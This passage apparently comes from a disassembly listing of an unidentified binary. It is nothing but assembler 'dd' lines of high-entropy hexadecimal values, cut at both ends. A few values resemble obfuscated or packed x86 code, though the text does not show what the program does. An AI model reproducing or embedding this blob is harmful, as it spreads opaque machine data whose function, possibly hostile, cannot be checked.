6179CD9h, 0E62A0692h dd 3ECD1477h, 56000000h, 84C6B6E7h, 0AF57D784h, 0CEFCD57Eh dd 57D75CBCh, 0E685262Fh, 302902AFh, 0D72F6BF3h, 0CA612F57h dd 6ED97A69h, 0D6EA0EB8h, 7FD8AF57h, 65A7CD2Bh, 0AF57D725h dd 1BE4341Fh, 93h, 0EB5E73Eh, 0ACFAED8h, 9AB5B600h, 8126EA6Ch dd 9811F954h, 53F2B310h, 238C1Ah, 2162E449h, 6DB5FFDCh dd 0F7969D06h, 7DDF68BEh, 0DBB9F10Bh, 0A08BB5FFh, 0C1E913B7h dd 0A7BCAF55h, 0CA571A3Ch, 9EB947D1h, 69ED9011h, 0AF55DBDFh dd 0E9A0C8BCh, 59935344h, 0F4E98F69h, 0B1AA8364h, 5FC0ED6Ch dd 609AEC40h, 0BCAF8828h, 0A97DA7Bh, 6C66D111h, 0D4147166h dd 5C8A630Dh, 0E0949436h, 0C56EBCAEh, 4B7F8953h, 39C35E5Ah dd 5A71A9D3h, 0F853C35Eh, 0E79CBB0Fh, 0B2D80EB5h, 36741F38h dd 0D9D25F16h, 45EBB601h, 7C2515D3h, 0D83BB607h, 95BBFDB4h dd 0B3D11C32h, 8B64B5FAh, 0ABD10D92h, 30C74221h, 5F6766D8h dd 0B607875Bh, 0FA017C21h, 7476C0E7h, 2CB4F416h, 0A58EB607h dd 0A0C36CCCh, 53F25DE9h, 446EC1Ah, 0B6072D04h, 2D68A0DAh dd 0F15AB607h, 71D246F1h, 0FD3D4FF5h, 0C7B6072Ch, 9646926Ch dd 16B78734h, 68B84482h, 6CD9DB59h, 1D99BCC3h, 5968AFEBh dd 1C3295DBh, 53776059h, 69979335h, 0C26DDB59h, 2043EC56h dd 692662A4h, 331CDB59h, 0A609D55Ah, 0C36CCC89h, 8245EAAFh dd 0E2818829h, 67F11FABh, 57B27DC4h, 0EDB2E64Fh, 299A074Eh dd 0Ah, 3F59BA0Ch, 0B8F02976h, 58FFC3B8h, 70138C11h, 92BF439h dd 2042E340h, 3E5FC06Dh, 0D4752E73h, 0E78B1499h, 84A47DA2h dd 92BF60CDh, 50FA4AD7h, 405E089h, 2D000000h, 4, 5C240487h dd 56243489h, 0C681E689h, 4, 8704EE83h, 895C2434h, 8951241Ch dd 4C181E1h, 83000000h, 0C8704E9h, 3C895C24h, 3D94BB24h dd 0F3815349h, 718C216Ah, 174ABE56h, 0D6F762D7h, 0EE81D6F7h dd 7EECB9FBh, 685EF301h, 7753h, 81242489h, 42404h, 835F0000h dd 1C8904ECh, 24048124h, 6F86202Eh, 8108478Fh, 202E086Fh dd 34FF6F86h, 0C4815F24h, 4, 5B2434FFh, 0E904C483h, 0FFF8FE22h dd 4053568Ah, 9B64C947h, 5D1A2F4Ah, 0AB82D88h, 306AF7Fh dd 5BE0FFC5h, 0BE66134Dh, 0EA4A6AD4h, 0F61D1659h, 0FD040641h dd 0CA70C8A6h, 0F2527DAh, 0D6054F58h, 0DD251DD0h, 3D4BAD26h dd 0B431BB8Dh, 2C1ABE64h, 0C97187F9h, 0E33988F4h, 95570217h dd 0EC65A897h, 0F240A034h, 59289C8Fh, 0D62F9396h, 373FB872h dd 0E87ED5CCh, 5, 48DE44CAh, 3800F7Ch, 0F000000h, 0FC5BF0B7h dd 0DAF4C381h, 890F0000h, 5, 5CF68166h, 0FFFF33D0h, 8E0F1F34h dd 6, 1298F681h, 815A57C7h, 3C588BEEh, 29EA813Ch, 8126FF8Fh dd 65D372E8h, 1FF28110h, 0F15290Bh, 0EA81C9B7h, 293CEFD9h dd 1489CA8Bh, 13E83Bh, 0EA4E0000h, 0D3119566h, 0C71A391Ah dd 0A11173B1h, 0CB0AF7DFh, 0D08166D6h, 0F583725h, 0EF83CEB7h dd 9695B903h, 0F4F6FF9h, 285h, 81F18B00h, 0FF25A4FFh, 8C850FFFh dd 0B8FFFFFFh, 1E5A6A73h, 0ECE9h, 0 dd 0E7AC3700h, 0E75CEB77h, 0E73C4977h, 0F7E21F77h, 0F7E30077h dd 0E6000077h, 277h, 5 dup(0) dd 0E7A5FD00h, 77h, 2Bh dup(0) dd 600h, 118AC500h, 9C662232h, 0D3EF3506h, 753878BBh, 1565CF3Dh dd 9E002232h, 0E6E777C1h, 960765AEh, 0BD789D8Fh, 1C132234h dd 388FACB1h, 61668E9Ah, 9E35142Bh, 11779AF2h, 90EF1132h dd 13CE8F87h, 0B4CAD9BFh, 0C6992498h, 0A8E54969h, 13CEA5DBh dd 45713032h, 11779A61h, 90EF1132h, 13CE8F87h, 8BFDD9BFh dd 0C6992498h, 45064969h, 4BA43F3Dh, 7403B3B2h, 156624DBh dd 19445032h, 9479171Ah, 156640DEh, 3162AB32h, 594225B3h dd 4D703202h, 0AF560807h, 1563CB24h, 0C67F1132h, 755270F0h dd 0AC002080h, 960752F7h, 0BAE6D98Fh, 91698834h, 15664457h dd 82BFA252h, 46E39C53h, 0E0602765h, 1576C13Dh, 1E8F2232h dd 0A0661132h, 91734A2Ch, 8AF670D8h, 0C599B605h, 156617DBh dd 0EFE84132h, 989DE072h, 0BA31A1B7h, 0FEF1E34h, 1A668832h dd 156650B9h, 1569CB32h, 0EA101132h, 0FA808ED4h, 116255BEh dd 0BB7589FBh, 1AB6EE1Ah, 156680BDh, 17E44B32h, 75662232h dd 0C0E3D753h, 43602027h, 0FC3524CEh, 15662239h, 0E9827BCFh dd 9A3D561Bh, 4A2DF63Ch, 156628DAh, 0D49CD832h, 408FE314h dd 1AE8B7B0h, 156622BAh, 7D074A32h, 89CE3060h, 1573CC3Dh dd 58F2232h, 18661132h, 51422452h, 1B8CE232h, 0A8FF3295h dd 0E9CF0D98h, 1AF33DCDh, 1C8F429Ah, 43662232h, 9EB80867h dd 8A0EB34Fh, 7C17C1BFh, 75062499h, 1566973Dh, 48F8832h dd 0D7664432h, 8DE2F169h, 0B5D2C001h, 515D4146h, 0DDB239Bh dd 0EA07DB53h, 90EFE4E2h, 13CEA88Fh, 154BCA3Dh, 0FC062232h dd 15661126h, 0F9B380FCh, 0B974C700h, 32B1C40Ch, 37F3C090h dd 847DF72Ah, 156649DBh, 548C9932h, 4F327157h, 8FD60C19h dd 0D207ED05h, 0BD7023B7h, 15661134h, 15696132h, 0D8744432h dd 6018A7E9h, 0EA6EB99Fh, 240EC56Ah, 0C0E382EFh, 50608A27h dd 0DFE74052h, 53BD6DBh, 1560AD69h, 0BAF2232h, 0A75E423Ch dd 15726153h, 21074432h, 0C669AFD3h, 775D6ECAh, 0F7C2F147h dd 48F19F75h, 7C0EA011h, 75E8635Bh, 94001C84h, 74855EE1h dd 9431DB52h, 58723BF9h, 0EA07D021h, 0BD57BD87h, 9D694234h dd 15661136h, 0BED03154h, 156657DAh, 67EE5E32h, 0C60C735Ch dd 0C3510917h, 0DCEEDD67h, 0D75366C5h, 90EB7069h, 13CEB2F1h dd 0C2E72252h, 1B8F7A71h, 0B6661132h, 1D93B06Eh, 20DC0910h dd 5F4390EAh, 0C599703Bh, 156682DBh, 0B70C0F32h, 0DE7B3C84h dd 9C52DF21h, 0BD6699B7h, 68E2434h, 0CE662232h, 8DAB409Eh dd 328E8230h, 0B91A969Fh, 57AC5C32h, 91695609h, 15668832h dd 17ED4B6Ch, 75662232h, 90A07053h, 13CE9DE7h, 0FC9A2471h dd 15662237h, 0B98D6C09h, 4B0EE9B3h, 75FA2359h, 7493DA52h dd 156605DAh, 1046032h, 5FFEC157h, 1283E53Ch, 2831EBBDh dd 70ECD044h, 156FADC9h, 6DCA2232h, 0FC8A0B8Eh, 4A9472A2h dd 0ECD3BB53h, 1A608A03h, 156630B1h, 68EE832h, 82664432h dd 26B83314h, 0FFDEB8EDh, 6DE47012h, 3C7A6E30h, 1A3F8A8Ch dd 156611B9h, 0FD06E932h, 15664438h, 46CB0C4Dh, 6FA23D73h dd 753E44FDh, 74067B84h, 90EB4353h, 13CE2BF1h, 15670B3Dh dd 0EA934432h, 9C6942E2h, 15661130h, 749AD162h, 95D6C1BBh dd 9B69249Dh, 1566113Fh, 156680DBh, 79121132h, 1B41D1C3h dd 0C0E3D7A8h, 41602027h, 7D4F2CCBh, 7306CC50h, 0EDEDE1B9h dd 0ECD37753h, 1A60EC03h, 156634B4h, 1577F832h, 0E8A58832h dd 63CA2E47h, 853CB13Bh, 60802D77h, 987D7B17h, 0BD5C87B7h dd 0C599DE34h, 1577F852h, 29C68832h, 494BEF81h, 0F2300430h dd 0C72A0283h, 1A043B57h, 156644B0h, 90EF4332h, 13C99186h dd 156685DBh, 826D1332h, 231C57BFh, 6E3FD025h, 90A0CAEEh dd 13CE51E7h, 1DE62D77h, 75661132h, 0CFE7EECBh, 7D070BB0h dd 0CF061AF0h, 15679A3Dh, 0EA9E8832h, 0BD57BD87h, 156FCB34h dd 8AAA1132h, 0A50218A1h, 98E87E88h, 0BD5CE1B7h, 0FCE77134h dd 2E64ED3Ah, 1569CD3Dh, 1C8E2232h, 8D661132h, 0DE8CED21h dd 0B9EF8C4h, 0C5994368h, 0ADE398CBh, 0E06027B2h, 26FBF9B1h dd 1A66249Ah, 156706B7h, 156A6132h, 0D17A4432h, 0DE3CD6D8h dd 0A91676B4h, 90A03DE0h, 13CE51E7h, 156FCB77h, 2FD61132h dd 24889DFEh, 7D28B659h, 0EF465CB4h, 0ECD3EECEh, 1A602003h dd 156643BCh, 14E72D32h, 0EC661132h, 2FA50DBFh, 48F429Ah dd 1F662232h, 344FD8F0h, 5F071507h, 9C9411Fh, 7A09D44Eh dd 7306C1CDh, 0AAF5C28Ah, 2C43B9F3h, 90EFD753h, 13C9918Eh dd 0C0E34ECEh, 5960EC27h, 0C2ED4452h, 1A07C8B9h, 156680B8h dd 17E84B32h, 75662232h, 0C5A57953h, 0EA9E6814h, 0BD57BD87h dd 19EA2D34h, 75661132h, 0C82A3054h, 1566C13Dh, 0FC072232h dd 15661139h, 49A5F511h, 0DEDBC46Ah, 98F4C3C1h, 0BD5CD2B7h dd 15746134h, 64324432h, 0A7C0FA4Bh, 41BA84A1h, 4D76C814h dd 90FF666h, 1B8FF2CDh, 59661132h, 0EB8E2342h, 0B5407082h dd 7DECDF04h, 0D5E398E6h, 756027B2h, 86F395B3h, 0DEE73C80h dd 42F7F10Eh, 15806153h, 98694432h, 1566223Eh, 1560983Dh dd 9B698832h, 15664432h, 0B3A7F4h, 0E034179Ah, 5F82855Ah dd 9E06248Eh, 0DCE744C9h, 1A07B32Fh, 15668BBAh, 0ECED2232h dd 7CD3DD53h, 0FC60B91Dh, 15668822h, 0C8DB8E69h, 5B9E2EE0h dd 0FFBD0DAEh, 3D249153h, 2FA5C1BFh, 9469249Ah, 15661121h dd 15606152h, 0E2E44432h, 65C3DCE5h, 52FDFEB3h, 0EA078D1Ah dd 9C6924E2h, 15662234h, 15669D3Dh, 9E008832h, 90EF25ECh dd 13C9A28Eh, 1567903Dh, 0D3938832h, 0BD7391B7h, 7D937034h dd 0B32A5B7Ah, 84E13252h, 94067A7Fh, 9BD5E5F0h, 0DDE77775h dd 74075D95h, 3A0FF1CDh, 9F69249Ah, 15661133h, 0D6E305CEh dd 7560EC08h, 9400E1B9h, 74015ED0h, 9C9A58CDh, 0BAE684B7h dd 1568CB34h, 0DE021132h, 0AD7668AAh, 0ADCB4109h, 17B6F21Ch dd 0B394F4h, 1A348E9Ah, 15664CB6h, 17E92D32h, 75661132h dd 0A18CE053h, 0EA9EB970h, 0BD57DB87h, 90EBE434h, 13CEB2F1h dd 0FCB6BBC7h, 1566223Dh, 8B4112EEh, 0A55BC960h, 0D0DB464Fh dd 9C491B7Bh, 0BD5280B7h, 9269E834h, 15664434h, 1566A93Dh dd 0A2691132h, 90A0E9FDh, 13CE51E7h, 14E92D45h, 0EC661132h dd 82CE2B5Ah, 0A099BCC1h, 13CE2F1Fh, 0CDE74352h, 704F9166h dd 90EB256Ch, 13CE18F1h, 0E9B6EECAh, 26DF0DBBh, 9769429Ah dd 15662235h, 15679E3Dh, 0D39F8832h, 0BD7391B7h, 0A3067034h dd 18E71ACh, 0D668832h, 0A438B910h, 0F8B3C916h, 0DF100ED2h dd 0AD9C1EF8h, 4AB51C17h, 156633DBh, 0F3C83832h, 6F2FECB5h dd 105E48A0h, 0D59ECFEh, 74071CC0h, 0C8579F5Ah, 78FBDB8h dd 0C6662232h, 5654BD54h, 0D8404388h, 8C5BC15h, 80B1968Ch dd 0ECD3EEBAh, 0FC602003h, 15664421h, 9377DC99h, 75683CEFh dd 0BA50CA95h, 0DF5D23B5h, 9835FD2Fh, 0BD5CD2B7h, 0C5997D34h dd 156654DBh, 41EB4632h, 820CDFA3h, 73EB06E0h, 0BABF2F04h dd 14E3AB52h, 0E960B900h, 0B30DF4h, 0FC30429Ah, 15662239h dd 158E5CEAh, 3808768h, 7DB85B0Ah, 0C1794F0Bh, 9669E952h dd 15668837h, 82B6C554h, 0A09943DDh, 13CE1EA7h, 156682DBh dd 947E4032h, 0DFE9759Eh, 983E7B0Bh, 0BE0FF9B7h, 1BE54B34h dd 0FC662232h, 1566113Bh, 4DDBD9Dh, 7FDC8ABh, 1572CB46h dd 826A1132h dd 0BED8A2A6h, 0FE13C0BCh, 0AB247DD6h, 98120541h, 0C59901D6h dd 156EC43Dh, 96692232h, 15661130h, 90EFE952h, 13CE6C9Fh dd 1567A13Dh, 0D3931132h, 0BD735DB7h, 0AE060334h, 26CCF9A5h dd 51C7953h, 1D8F09EEh, 35664432h, 0B7FF6DB9h, 0EAF513B1h dd 0BD577187h, 0DAE72434h, 7D8B9D53h, 156601DAh, 0DFDCE832h dd 531D7FD4h, 5511CEBAh, 0B29BC449h, 0C6E7EEEBh, 743860DDh dd 1563CB52h, 0F0441132h, 94E707C6h, 0A6CE24DAh, 90EB4373h dd 13CE2BF1h, 156B0F3Dh, 1D8F4432h, 0B4662232h, 962C060Bh dd 75599B18h, 1561ACCEh, 4FC72232h, 0FE14CE44h, 0A99936B9h dd 743E6BEFh, 0FC06F2CDh, 15661121h, 8B61B61Dh, 55E2FF80h dd 0B3C1967Ch, 0AC15C865h, 736B18E0h, 9C078AB9h, 0BD71F3B7h dd 23D47134h, 0D39AE9CAh, 0BD7391B7h, 95066534h, 0A2691CC2h dd 0F70EE9EBh, 1AEC4B87h, 156623B1h, 0A099E932h, 13CEB9CBh dd 0D6E3C9CBh, 1A608A08h, 156610B5h, 0C5997132h, 156ECD3Dh dd 0ED062232h, 0EFB09054h, 90EFE9D7h, 13C9C4D2h, 1561A43Dh dd 0A1061132h, 37A708C8h, 1577AD53h, 0A88D2232h, 359DD6C6h dd 0B27F2451h, 90E1B9C7h, 0D2F06D50h, 0BD6AD0B7h, 1566F034h dd 0FD06BD32h, 15662221h, 0EC15E4Bh, 30365A4Bh, 0C3AEFB92h dd 7F850AE2h, 4D02EBD8h, 0B0AC0954h, 0A8E5255Ah, 13CE39CFh dd 0BDE21E32h, 7566882Ah, 9E696E86h, 15662231h, 74A89A54h dd 0B30DF4h, 0FC2A429Ah, 15662226h, 4F9642B4h, 46ECFEEDh dd 25A49F06h, 72539154h, 0A6C166CBh, 0CF7A615Ah, 0AA0024EBh dd 0EA07CC96h, 0BD57E887h, 18E98734h, 75664432h, 0CBE6A89h dd 15E51E00h, 74668832h, 0AB60FB52h, 0ADDF66FDh, 7437315Bh dd 2FA50DBFh, 0EA9F429Ah, 0A26942E2h, 1577F8CBh, 85298832h dd 0E3F98D52h, 0A6FAD12Ah, 0D5E4E1B9h, 7452979Ch, 95AAC1BBh dd 9969249Dh, 1566112Eh, 1570053Dh, 48F4432h, 6B662232h dd 0A70893ECh, 0F57B8D59h, 9FFC59Dh, 2B53BA14h, 0B394F4h dd 1A2A8E9Ah, 156645B4h, 0DB0ED732h, 1ABB65ECh, 156689B1h dd 0A099BD32h, 13CE13CBh, 156A933Dh, 9B698832h, 15664434h dd 1566AA3Dh, 0FC061132h, 1566883Bh, 10AF72D6h, 0B4E346F1h dd 740642B9h, 90EBE968h, 13CE7EF1h, 1567A53Dh, 0EA9E1132h dd 14EE87E2h, 0E0664432h, 95B6A7BBh, 0D39A179Dh, 0BD735DB7h dd 7D930834h, 0A2E7A00Dh, 0ECD3EECBh, 0FC602003h, 1566443Ch dd 2B5C680Eh, 97CA8756h, 0EAE3CA16h, 90EB470Dh, 13CE18F1h dd 61DD7752h, 0D4E7EE1Eh, 0EA07D60Bh, 12EB2DE2h, 75661132h dd 46BC0354h, 1E8F256Dh, 8E662232h, 6D4CD71Eh, 8D48B828h dd 90EFC99Fh, 13C9A2E6h, 0FADE7752h, 90A0E952h, 13CE51E7h dd 156DCB7Eh, 0DBF11132h, 2BA2B8E2h, 209EBDFCh, 557E4AACh dd 128FA21Dh, 0A668832h, 0D105FC1Ah, 0A099C671h, 13CE20CBh dd 156687DBh, 8AF9EC32h, 0E321353Eh, 0C1D119E2h, 92AF705Fh dd 2FA5C1BFh, 0FC06249Ah, 15661126h, 0C6B7D031h, 74F1CBE8h dd 0AF86400Eh, 0F6DB3978h, 2DCEB5DBh, 15664ADBh, 8C7F3432h dd 0E48B5D36h, 694D5AD0h, 74761445h, 1B8FF2CDh, 0F7661132h dd 0A3E190E8h, 0F5158EDBh, 0A0318097h, 0C1E398F7h, 0FC6027B2h dd 15664435h, 18520FE1h, 0D360BC41h, 0BD735DB7h, 7D9F0234h dd 0AFB82426h, 156A903Dh, 97698832h, 15664434h, 1566A23Dh dd 1A061132h, 156689BDh, 86D4B832h, 0ECD3DD53h, 0FC60B903h dd 15668834h, 1578C7ECh, 90EB43C2h, 13CE2BF1h, 1560063Dh dd 0A3064432h, 743D7210h, 78FC1CDh, 66668832h, 1E7EDADFh dd 51947BA4h, 0A2885274h, 5A245E58h, 0C9E3CDC4h, 0FC608DB2h dd 1566113Ch, 5F2E042Ah, 6E44F2ECh, 9B8AD33Dh, 90A08DB5h dd 13CE9DE7h, 6F0EB875h, 75E7FE22h, 75A89A54h, 0AE0043B9h dd 7407CB8Fh, 249F97CDh, 18F179Ah, 94668832h, 3A99B1EBh dd 9C31F48Bh, 3C5D0DCEh, 4921D561h, 984BEB0Eh, 0BD5CE1B7h dd 0C599ED34h, 156680DBh, 49F4EE32h, 0E7DEC3ABh, 0F1E398DFh dd 1A6027B2h, 156640B9h, 74064232h, 0C0E3D753h, 52602027h dd 156EC13Dh, 99692232h, 15661130h, 0B90EE952h, 0EC89C3BCh dd 249F97CDh, 78F179Ah, 50668832h, 7FBA6745h, 9CFEA8BFh dd 853EDDBDh, 0D7A01CC1h, 0D6E3C91Fh, 75608A08h, 1A21CAB2h dd 15668ABBh, 743D1332h, 9C9FF2CDh, 0BAE6F9B7h, 9169E834h dd 15664433h, 0DFD92DCAh, 0C0E3D753h, 52602027h, 1561CD3Dh dd 9D692232h, 15661133h, 0B2B4E0CEh, 0EA9A90A8h, 0BD57DB87h dd 14EF1E34h, 0E9668832h, 2FA5C1BFh, 9C69249Ah, 15661135h dd 73BF0352h, 0EA07B3B9h, 0E2E742E2h, 6EFE820Eh, 15660D3Dh dd 9C074432h, 0BAE6CEB7h, 90A0E934h, 13CE9DE7h, 110EB175h dd 0E0DCE30Bh, 249FA4CDh, 989A8E9Ah, 0BD5C87B7h, 0C599DA34h dd 15661DDBh, 0BEF83632h, 16EA651Ch, 0BA7F4625h, 90EFE412h dd 13C908C2h, 156CC43Dh, 73062232h, 9400DEB9h, 74B626ECh dd 153FF9B1h, 1A66249Ah, 156680B7h, 14E48732h, 0E9664432h dd 0B3A7F4h, 0EC21179Ah, 674BEF5Ah, 1F8FBCD2h, 0AE662232h dd 21B484F3h, 7975592Ah, 0ECD3BBB4h, 75608A03h, 156601DBh dd 0A6495132h, 0F4007A1Eh, 941096BDh, 7288E250h, 1A06E99Ah dd 156646B4h, 0FC3C7032h, 15661126h, 3C77A36Fh, 2F0CD76Bh dd 1C06F26Ch, 833E3367h, 0FECBFE4Ah, 0D6E3C953h, 0FC608A08h dd 15661137h, 0EDA57169h, 75B6BBFDh, 0E7ED1084h, 0E1E39853h dd 0FC6027B2h, 15664438h, 1C4797A9h, 9200AD36h, 90A0B3D6h dd 13CE51E7h, 1BE02D75h, 0FC661132h, 1566883Bh, 38CF9EAFh dd 6041A210h, 0A6D7799Eh, 9069061Bh, 15664435h, 0F5E74452h dd 0EA0746A1h, 0BD577187h, 90EBB834h, 13CE18F1h, 0CEC1E52h dd 0FC668832h, 15664426h, 4EDA654Fh, 0C98D9C37h, 4E822F60h dd 0B4DD615Fh, 221F8453h, 2E09D6B3h, 0EA07A32Ah, 90EFB1E2h dd 13C9A2CAh, 0D5D91E52h, 1AE58753h, 0FC664432h, 15662238h dd 0F6FCE598h, 0EA320BAEh, 90A09306h, 13CE37E7h, 1560F871h dd 92B98832h, 73768AE5h, 632C855Ah, 1568F8F2h, 0A52A8832h dd 73DFDB00h, 2F83B288h, 0CD6D5B1Dh, 249F3DCDh, 188F429Ah dd 0F6662232h, 7D1CEEE8h, 0C1F6EB96h, 0D0CD0FB6h, 2FA5A7BFh dd 9F69179Ah, 1566882Ch, 157EC83Dh, 68F2232h, 2C661132h dd 76868994h, 51E7C4DEh, 0BC873BDh, 0F5567DF7h, 0C599184Ah dd 1AADCF52h, 156624B8h, 15E01E32h, 74668832h, 1567CD3Dh dd 9C932232h, 0BAE6EDB7h, 98697D34h, 1566443Eh, 1560AE3Dh dd 9E691132h, 15668832h, 0B3C1F4h, 1A2A249Ah, 156619BAh dd 17E68732h, 75664432h, 798D4A53h, 0AB06EA54h, 58C115AAh dd 6D08A2B3h, 0EA073CD2h, 0BD6B3C87h, 0ED06E834h, 0BCD92253h dd 90EB4343h, 13CE2BF1h, 1567063Dh, 0EA9A4432h, 108FDAE2h dd 4E661132h, 0BD91056Bh, 94F6C1BBh, 58F249Dh, 59661132h dd 4D69E4D8h, 0DDAB450Fh, 40DFDEE6h, 0D3CC1760h, 0BD735DB7h dd 188F0034h, 5A662232h, 8721128Eh, 6FD1F685h, 94A65FC2h dd 0D5E74252h, 76F9E8DBh, 74125AB2h, 9B332C53h, 75069941h dd 0CAE67052h, 9E00E916h, 0A09925E8h, 13CE13CBh, 157F9E3Dh dd 18F8832h, 0F5664432h, 0A2DE6EF3h, 446BC336h, 2CA8F62Eh dd 0D2385F84h, 987D9787h, 0BD5CD2B7h, 14E08734h, 0E0664432h dd 9069F2CDh, 1566113Fh dd 156680DBh, 0AE0D0C32h, 0A7C81F8Dh, 15E39899h, 0ED6027B3h dd 0B3C1F4h, 7525249Ah, 14EE1ECBh, 0E0668832h, 7B9A2C53h dd 43069EBCh, 19A89054h, 1A07D16Ch, 156645B8h, 0A099DE32h dd 13CE20CBh, 156061C7h, 0E4EE4432h, 996A6405h, 2FA594BFh dd 9A698E9Ah, 1566442Bh, 156636DBh, 63155132h, 0E22744F4h dd 7B02D27Eh, 9018376Eh, 16CC7B11h, 0FCB67727h, 15664435h dd 930685ACh, 9CB9E14Ch, 0BAE78CB7h, 1C8FBC34h, 74662232h dd 499E8B31h, 3DB7374Dh, 0B3C1F4h, 7535249Ah, 0CBEDB983h dd 2BCCE053h, 0EA9A8222h, 0BD57DB87h, 128F7134h, 64668832h dd 99D980BDh, 58E62F3h, 0F4661132h, 0CDBA7118h, 77F5D501h dd 0A8415AAFh, 94EB6A6Ah, 0F5AC87F8h, 98071D7Ch, 0BD5CE1B7h dd 2EC1E34h, 0FC668832h, 15664420h, 0CA4E6E63h, 6FCA7F46h dd 7C016DD5h, 9DC877CDh, 0C59974F6h, 1574993Dh, 188F8832h dd 2D664432h, 62125413h, 6347298Ah, 2DDEFF46h, 946EC1BBh dd 9E69249Dh, 1566113Ah, 0B5AC0952h, 7460795Ch, 126F9FB1h dd 1A66179Ah, 156557B6h, 1A062432h, 67D6F885h, 78F7153h dd 0E1668832h, 84D791E5h, 3C1CD453h, 0D0D8ADCEh, 2417747Eh dd 0EC0725B6h, 0B3A7F4h, 1A20179Ah, 1566A0BBh, 1C8F2432h dd 72662232h, 3FA12C5Ch, 74CC08DDh, 156656DAh, 4268F32h dd 67BB0CE2h, 0F6159363h, 0EF54E935h, 4CDCFB2Eh, 0DB577953h dd 1E8F72A4h, 0B0664432h, 6DA4716Ah, 0F008CEF0h, 0A09974FAh dd 13CE75CBh, 11EE2D52h, 73661132h, 1AE8D888h, 156641B4h dd 0CBE74432h, 980790DCh, 0BD5C4BB7h, 0D6E72434h, 2A199CAFh dd 156600DBh, 0BF4CC032h, 0BE213671h, 0B2FA0513h, 3F552A6Ch dd 0EA0764D1h, 90EFB8E2h, 13C9A356h, 157E9B3Dh, 73068832h dd 1B8F95B9h, 28662232h, 0F07483AAh, 0A2090696h, 1903E187h dd 90A043C7h, 13CE04E7h, 0C30E7174h, 0E99AE308h, 249F97CDh dd 9F69179Ah, 15668825h, 1577CC3Dh, 198F2232h, 70661132h dd 0AD3DF9F4h, 86C6ADEEh, 98FA9FB1h, 0BD5CD2B7h, 15756134h dd 0D59E4432h, 200515B6h, 0EAF716A5h, 0CB3C3199h, 1F23EA34h dd 75B6DD83h, 0FBE77764h, 1A3C343Bh, 15665DB6h, 1572CB32h dd 0A7EC1132h, 6B1E463Dh, 0DAE027C0h, 6182402Ah, 919EA36Fh dd 9C077C1Dh, 0BAE730B7h, 156FCB34h, 7D951132h, 114D5295h dd 0D3DE6EB4h, 0BD73F7B7h, 90695734h, 1566883Dh, 15664EDBh dd 107AC432h, 0F5D8A0CAh, 7DA14034h, 879AE032h, 9E004252h dd 156FF8C0h, 0B6ED8832h, 133753F4h, 74638EDDh, 15661BDBh dd 0ECBE7A32h, 38BF8DA0h, 74F9DEE0h, 249FA4CDh, 989E8E9Ah dd 0BD5C87B7h, 0EDED4234h, 749F9A54h, 470658CDh, 4DB7CF54h dd 6DE3AB53h, 1A60BEB3h, 156689B9h, 90A0BD32h, 13CE37E7h dd 0AA697174h, 7D077DF2h, 0E3B20B58h, 1570A73Dh, 90691132h dd 15668822h, 15664FDBh, 0C57EE32h, 3999ED80h, 7E2F558h dd 249FF1CDh, 9069249Ah, 15661133h, 90EB71C7h, 13CE7EF1h dd 156AAE3Dh, 91691132h, 15668834h, 1566C13Dh, 0C5992232h dd 156C9D3Dh, 94068832h, 242FE9D8h, 74109364h, 1573953Dh dd 93698832h, 1566443Dh, 156628DBh, 15A49A32h, 0F5808986h dd 9CF711ACh, 0BAE75EB7h, 90A0ED34h, 13CE9DE7h, 1572AD74h dd 32522232h, 0D013974Bh, 2D3BC2C3h, 0F6902CBEh, 31E742EAh dd 0F20EBEC9h, 1AF24562h, 156651B8h, 1576CB32h, 0A2381132h dd 0C52DD3E8h, 0D5CED1C5h, 24C8D866h, 0A099C419h, 13CEB9CBh dd 15664CDBh, 0EFF2C532h, 75D9D9DCh, 0D6E3055Ch, 0E960EC08h dd 9406F2CDh, 0FCE5C1EAh, 0DCD18723h, 7DE3CD53h, 1A608DB3h dd 156616B6h, 14E28732h, 0ED664432h, 0B3A7F4h, 7520179Ah dd 91783254h, 31ACC554h, 2E0E4302h, 0E0D73346h, 1577063Dh dd 198F4432h, 80662232h, 721D6BAAh, 0E40D669Dh, 0EA3EFB02h dd 0BD57DB87h, 90EBE834h, 13CEB2F1h, 58E1452h, 9A662232h dd 2D7A1ADCh, 0DEE95607h, 8247FF97h, 4E169161h, 96A5AB6Ah dd 0EA07DA44h, 1577ADE2h, 0D88D2232h, 6F60B3A8h, 0CCAEB0EBh dd 0B510F16Ch, 9C85A894h, 0BAE77DB7h, 90A07D34h, 13CE51E7h dd 156ECB74h, 0BAA91132h, 0DFEFA534h, 0F80E9B21h, 0FCB95BD8h dd 15661137h, 0C4398158h, 0ECD3BB7Ah, 0EC608A03h, 0D6E39CCBh dd 1A602008h, 156656BDh, 138F4232h, 7661132h, 810CC560h dd 0DFE722CDh, 0EA07285Dh, 7E11EE2h, 0FC668832h, 1566443Fh dd 3BC511D0h, 0B34A6A3Bh, 560F8BACh, 65E3CD09h, 75608DB3h dd 15661DDAh, 17982232h, 179183B2h, 1955E74Dh, 156BF8F9h dd 0A3E18832h, 0F5158EDBh, 0A0318097h, 4ED620F7h, 74B446B2h dd 153FF9B1h, 1A66249Ah, 156694B7h, 156C6132h, 0D9AE4432h dd 472EA6B1h, 0BDCDA1E9h, 0B30DF4h, 0EC35429Ah, 0AB867C5Ah dd 943171FCh, 0D4FE4BE5h, 58E1D49h, 0C5662232h, 7A7A6135h dd 9EEEF307h, 0A36E5D45h, 73754396h, 743CEFB9h, 0ECD377C7h dd 1A60EC03h, 15663FB7h, 2E21E32h, 0FC668832h, 15664420h dd 0E6A41F2h, 0AAB0809Eh, 12B633DCh, 20095842h, 90EBAA49h dd 13CE2BF1h, 8C820852h, 35EBA2B3h, 0EA075ACCh, 90EFE4E2h dd 13C9093Eh, 90A02552h, 13CE37E7h, 7D9FE475h, 0D2D7D6B5h dd 16E94B52h, 73662232h, 68FC1B9h, 0FF668832h, 91E09284h dd 0E6F1E39Fh, 769BE8BFh, 23D96649h, 0EA07CC30h, 0BD57DB87h dd 2E11E34h, 75668832h, 15664ADBh, 50BC6332h, 997D3D8Ch dd 6777FAAFh, 9E32A5EFh, 90EB43C5h, 13CE2BF1h, 156682DBh dd 33850032h, 27908B67h, 1A6114A7h, 156687BEh, 156CAD32h dd 0EBF32232h, 0CC44CDE9h, 9322A62h, 936994CDh, 1566221Fh dd 156BF952h, 0F93F8832h, 4470E504h, 8358FEC5h, 4EF6B7E4h dd 15669BDBh, 0F17D4032h, 2F1B7A7Dh, 28464425h, 1EB7A8ABh dd 0FED08D0Bh, 90EFD753h, 13C99022h, 0D7F13052h, 9D690BF4h dd 15662231h, 74A49A54h, 153F35B1h, 1A66429Ah, 156654B7h dd 1561F832h, 0D798832h, 0B692BDE0h, 